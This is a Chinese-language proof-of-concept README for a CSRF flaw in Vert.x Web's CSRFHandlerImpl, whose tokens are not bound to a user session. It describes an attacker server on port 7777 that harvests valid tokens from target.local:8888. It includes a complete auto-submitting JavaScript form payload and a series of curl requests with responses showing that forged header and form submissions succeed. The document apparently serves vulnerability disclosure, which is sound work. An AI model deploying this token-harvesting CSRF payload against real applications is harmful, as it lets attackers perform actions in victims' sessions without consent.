概述

io.vertx.ext.web.handler.impl.CSRFHandlerImpl 中的 CSRFHandlerImpl（在 Vert.x Web 中）不会为每个用户会话创建唯一的 CSRF Token。恶意网站仍然可以通过获取有效的 CSRF Token 并将其添加到 HTML 表单中，然后向易受攻击的 Web 应用程序提交表单来执行 CSRF。

目前，预检 CORS OPTIONS HTTP 请求可以通过 XMLHTTPRequests 防止 CSRF，但可能存在绕过预检请求的方法。

构建

mvn clean package

测试

应用程序启动 HTTP 端点：

端口 7777 托管恶意网站
端口 8888 托管目标网站

为主机 target.local 创建一条主机记录，以确保攻击者和目标不在同一个域上。

攻击者的 Web 服务器将自动轮询 target.local:8888 网页以获取有效的 XSRF Token。如果用户随后在其浏览器中导航到 http://localhost:7777，将渲染一个包含 iframe 的 HTML 页面。iframe 将填充一个包含有效 X-XSRF-TOKEN 表单属性的表单，该表单会自动提交到 target.local:8888。

运行

java -jar target/vertx-xsrf-1.0-SNAPSHOT-fat.jar

观察到的行为

Chrome PoC

浏览器

<html>
<head>
</head>
<body>
<script>
var xsrftoken = "eWVJYuhAGvXRuaJFwiY7LBDg6Bk0/llUKea9Q8gIWxY=.1528880809229.awJQ69rmd18ATeEVqH0XC1EAjKXYfzPcIEAse9+ym1o=";

var f = document.createElement("form");
f.setAttribute('method', "post");
f.setAttribute('action', "http://target.local:8888/token");

var i = document.createElement("input"); 
i.setAttribute('type', "text");
i.setAttribute('name', "X-XSRF-TOKEN");
i.setAttribute('value',xsrftoken);

var s = document.createElement("input"); 
s.setAttribute('type', "submit");
s.setAttribute('value', "Submit");

f.appendChild(i);
f.appendChild(s);

document.getElementsByTagName('body')[0].appendChild(f);

f.submit();


</script>
</body>
</html>

获取 X-XSRF-TOKEN

curl http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> GET /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: XSRF-TOKEN=KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=; Path=/
< Set-Cookie: vertx-web.session=13c681351dee77d572f4f9b16d0c65a5; Path=/
<
* Connection #0 to host target.local left intact
Success!

不带 X-XSRF-TOKEN 的 POST

curl -X POST http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden

将无效的 X-XSRF-Token 作为 HTTP 头提交

curl -X POST -H 'X-XSRF-TOKEN: THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=' http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> X-XSRF-TOKEN: THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=
>
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden

将 X-XSRF-Token 作为 HTTP 头提交

curl -X POST -H 'X-XSRF-TOKEN: KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=' http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> X-XSRF-TOKEN: KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=
>
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: vertx-web.session=23b96851535d983b458e92280ffe49f5; Path=/
<
* Connection #0 to host target.local left intact
Success!

将无效的 X-XSRF-Token 作为表单属性提交

curl --data 'X-XSRF-TOKEN=THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg%3D.1528880169033.xENGuHNUEXi33wdIkIH%2BHlq7PSS%2B0QJgFQbOIVPnYq8%3D' http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 126
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 126 out of 126 bytes
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden

将 X-XSRF-Token 作为表单属性提交

curl --data 'X-XSRF-TOKEN=KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg%3D.1528880169033.xENGuHNUEXi33wdIkIH%2BHlq7PSS%2B0QJgFQbOIVPnYq8%3D' http://target.local:8888/token -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 124
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 124 out of 124 bytes
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: vertx-web.session=50deb90796d7babc77860be5ae36ae0e; Path=/
<
* Connection #0 to host target.local left intact
Success!

vertx-web-xsrf

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